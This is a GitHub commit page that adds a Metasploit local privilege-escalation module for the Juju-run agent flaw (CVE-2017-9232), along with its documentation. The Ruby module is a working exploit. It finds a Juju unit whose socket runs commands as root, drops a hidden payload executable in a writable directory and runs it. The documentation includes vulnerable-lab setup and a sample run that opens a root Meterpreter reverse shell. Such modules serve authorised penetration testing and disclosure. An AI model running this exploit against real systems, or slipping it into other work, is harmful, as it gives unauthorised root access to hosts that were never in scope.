Skip to content

Commit 321b78b

Browse files
committed
Land rapid7#9408, Add Juju-run Agent Privilege Escalation module (CVE-2017-9232)
2 parents fcaee81 + 4b6362a commit 321b78b

File tree

2 files changed

+270
-0
lines changed

2 files changed

+270
-0
lines changed
Lines changed: 138 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,138 @@
1+
## Description
2+
3+
This module attempts to gain root privileges on Juju agent systems running the juju-run agent utility.
4+
5+
Juju agent systems running agent tools prior to version 1.25.12, 2.0.x before 2.0.4, and 2.1.x before 2.1.3, provide a UNIX domain socket to manage software ("units") without setting appropriate permissions, allowing unprivileged local users to execute arbitrary commands as root.
6+
7+
8+
## Vulnerable Application
9+
10+
[Juju](https://juju.ubuntu.com/) is an open source application modeling tool designed for devops to deploy, configure, scale, and operate software on public and private clouds.
11+
12+
* Homepage: https://juju.ubuntu.com/
13+
* Github: https://github.com/juju/juju
14+
15+
This module has been tested successfully with Juju agent tools:
16+
17+
* Versions 1.18.4, 1.25.5 and 1.25.9 on Ubuntu 14.04.1 LTS x86
18+
19+
Deployed by Juju:
20+
21+
* Versions 1.18.1-trusty-amd64 and 1.25.6-trusty-amd64 on Ubuntu 14.04.1 LTS x86_64
22+
23+
24+
## Installation
25+
26+
Two systems are required. The first runs Juju and the second runs the Juju agent tools.
27+
28+
Ensure the client system has SSH installed and network accessible.
29+
30+
The following installation instructions are for Ubuntu 14.04.1 LTS ("trusty").
31+
32+
```sh
33+
# List avilable juju packages
34+
apt-cache showpkg juju
35+
36+
# Install a vulnerable package
37+
apt-get install juju-core=1.18.1-0ubuntu1
38+
39+
# Generate a config file
40+
juju init
41+
```
42+
43+
Edit the `manual` section of the newly generated config file, adding the appropriate `bootstrap-host` and `bootstrap-user` for the client system, ensuring the appropriate `default-series` is set (`trusty` for Ububtu 14.x).
44+
45+
```
46+
manual:
47+
bootstrap-host: juju-client.local # Remote host
48+
bootstrap-user: user # User for SSH access
49+
default-series: trusty # Remote host OS series
50+
```
51+
52+
Switch to the `manual` environment and bootstrap the remote host specified above:
53+
54+
```sh
55+
juju switch manual
56+
juju bootstrap
57+
```
58+
59+
Once the bootstrapping is complete, check if it was successful. You should see a machine with ID# 0:
60+
61+
```sh
62+
juju stat
63+
```
64+
65+
Deploy any unit to the machine with ID# 0. Units can be found in the [Juju store](https://jujucharms.com/store).
66+
67+
```sh
68+
juju deploy zabbix-agent --to 0
69+
```
70+
71+
Check if it worked:
72+
73+
```sh
74+
watch juju stat
75+
```
76+
77+
78+
Optionally, to test various versions of the juju agent utilities, the juju tools can be updated remotely. (Note: Downgrading is more difficult.)
79+
80+
```sh
81+
# You may or may not need to `set-env` the upstream tools URL:
82+
juju set-env agent-metadata-url=https://streams.canonical.com/juju/tools
83+
juju set-env agent-stream=proposed
84+
85+
# Be careful to select a version which exists, otherwise bad things will happen.
86+
juju upgrade-juju --version 1.25.2
87+
```
88+
89+
90+
## Verification Steps
91+
92+
1. Start `msfconsole`
93+
2. Get a session
94+
3. Do: `use exploit/linux/local/juju_run_agent_priv_esc`
95+
4. Do: `set SESSION [SESSION]`
96+
5. Do: `check`
97+
6. Do: `run`
98+
7. You should get a new root session
99+
100+
101+
## Options
102+
103+
**SESSION**
104+
105+
Which session to use, which can be viewed with `sessions`
106+
107+
**WritableDir**
108+
109+
A writable directory file system path. (default: `/tmp`)
110+
111+
112+
## Scenarios
113+
114+
```
115+
msf exploit(multi/handler) > use exploit/linux/local/juju_run_agent_priv_esc
116+
msf exploit(linux/local/juju_run_agent_priv_esc) > set session 1
117+
session => 1
118+
msf exploit(linux/local/juju_run_agent_priv_esc) > run
119+
120+
[!] SESSION may not be compatible with this module.
121+
[*] Started reverse TCP handler on 172.16.191.244:4444
122+
[*] Trying 3 units...
123+
[+] Unit "unit-zabbix-agent-1" uses a privileged socket
124+
[*] Writing '/tmp/.tp9oGmPSvx' (207 bytes) ...
125+
[*] Sending stage (857352 bytes) to 172.16.191.130
126+
[*] Meterpreter session 2 opened (172.16.191.244:4444 -> 172.16.191.130:43760) at 2018-01-13 12:33:48 -0500
127+
[+] Deleted /tmp/.tp9oGmPSvx
128+
129+
meterpreter > getuid
130+
Server username: uid=0, gid=0, euid=0, egid=0
131+
meterpreter > sysinfo
132+
Computer : 172.16.191.130
133+
OS : Ubuntu 14.04 (Linux 3.13.0-32-generic)
134+
Architecture : i686
135+
BuildTuple : i486-linux-musl
136+
Meterpreter : x86/linux
137+
```
138+
Lines changed: 132 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,132 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
Rank = ExcellentRanking
8+
9+
include Msf::Post::File
10+
include Msf::Exploit::EXE
11+
include Msf::Exploit::FileDropper
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Juju-run Agent Privilege Escalation',
16+
'Description' => %q{
17+
This module attempts to gain root privileges on Juju agent systems
18+
running the juju-run agent utility.
19+
20+
Juju agent systems running agent tools prior to version 1.25.12,
21+
2.0.x before 2.0.4, and 2.1.x before 2.1.3, provide a UNIX domain socket
22+
to manage software ("units") without setting appropriate permissions,
23+
allowing unprivileged local users to execute arbitrary commands as root.
24+
25+
This module has been tested successfully with Juju agent tools versions
26+
1.18.4, 1.25.5 and 1.25.9 on Ubuntu 14.04.1 LTS x86 deployed by Juju
27+
1.18.1-trusty-amd64 and 1.25.6-trusty-amd64 on Ubuntu 14.04.1 LTS x86_64.
28+
},
29+
'License' => MSF_LICENSE,
30+
'Author' =>
31+
[
32+
'Ryan Beisner', # Discovery and PoC
33+
'David Ames (@thedac)', # Discovery and PoC
34+
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
35+
],
36+
'DisclosureDate' => 'Apr 13 2017',
37+
'Platform' => [ 'linux' ],
38+
'Arch' => [ ARCH_X86, ARCH_X64 ],
39+
'SessionTypes' => [ 'shell', 'meterpreter' ],
40+
'Targets' => [[ 'Auto', {} ]],
41+
'References' =>
42+
[
43+
[ 'CVE', '2017-9232' ],
44+
[ 'BID', '98737' ],
45+
[ 'URL', 'https://bugs.launchpad.net/juju/+bug/1682411' ]
46+
]
47+
))
48+
register_options(
49+
[
50+
OptString.new('UNIT', [ false, 'A valid Juju unit name', '' ]),
51+
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
52+
])
53+
end
54+
55+
def check
56+
juju_run_path = cmd_exec 'which juju-run'
57+
58+
if juju_run_path.start_with? '/'
59+
vprint_good 'juju-run is installed'
60+
return CheckCode::Detected
61+
end
62+
63+
vprint_error 'juju-run is NOT installed'
64+
65+
CheckCode::Safe
66+
end
67+
68+
def unit_names
69+
units = []
70+
71+
cmd_exec('/bin/ls -m /var/log/juju/*.log').chomp.split(/,\s*/).each do |log|
72+
units << ::File.basename(log).gsub(/\.log$/, '')
73+
end
74+
75+
cmd_exec('/bin/ls -m /var/lib/juju/agents/').chomp.split(/,\s*/).each do |agent|
76+
units << ::File.basename(agent)
77+
end
78+
79+
units.uniq
80+
end
81+
82+
def execute_command(cmd, opts = {})
83+
cmd_exec "juju-run #{opts['unit']} '#{cmd}'"
84+
end
85+
86+
def upload_and_chmodx(path, data)
87+
print_status "Writing '#{path}' (#{data.size} bytes) ..."
88+
rm_f path
89+
write_file path, data
90+
cmd_exec "chmod +x '#{path}'"
91+
register_file_for_cleanup path
92+
end
93+
94+
def exploit
95+
if check != CheckCode::Detected
96+
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
97+
end
98+
99+
units = datastore['UNIT'].blank? ? unit_names : [ datastore['UNIT'] ]
100+
101+
if units.empty?
102+
fail_with Failure::Unknown, "Could not find any Juju units. Try specifying a 'UNIT'"
103+
end
104+
105+
# Check each unit for a privileged socket
106+
print_status "Trying #{units.size} units..."
107+
108+
socket_unit = nil
109+
unit_names.each do |unit|
110+
id = execute_command 'id', 'unit' => unit
111+
112+
if id.include? 'root'
113+
print_good "Unit #{unit.inspect} uses a privileged socket"
114+
socket_unit = unit
115+
break
116+
end
117+
end
118+
119+
if socket_unit.nil?
120+
fail_with Failure::NotVulnerable, 'Could not find any Juju units using a privileged socket'
121+
end
122+
123+
# Upload payload executable
124+
payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
125+
payload_path = "#{datastore['WritableDir']}/#{payload_name}"
126+
upload_and_chmodx payload_path, generate_payload_exe
127+
128+
# Execute payload executable
129+
vprint_status 'Executing payload...'
130+
execute_command payload_path, 'unit' => socket_unit
131+
end
132+
end

0 commit comments

Comments
 (0)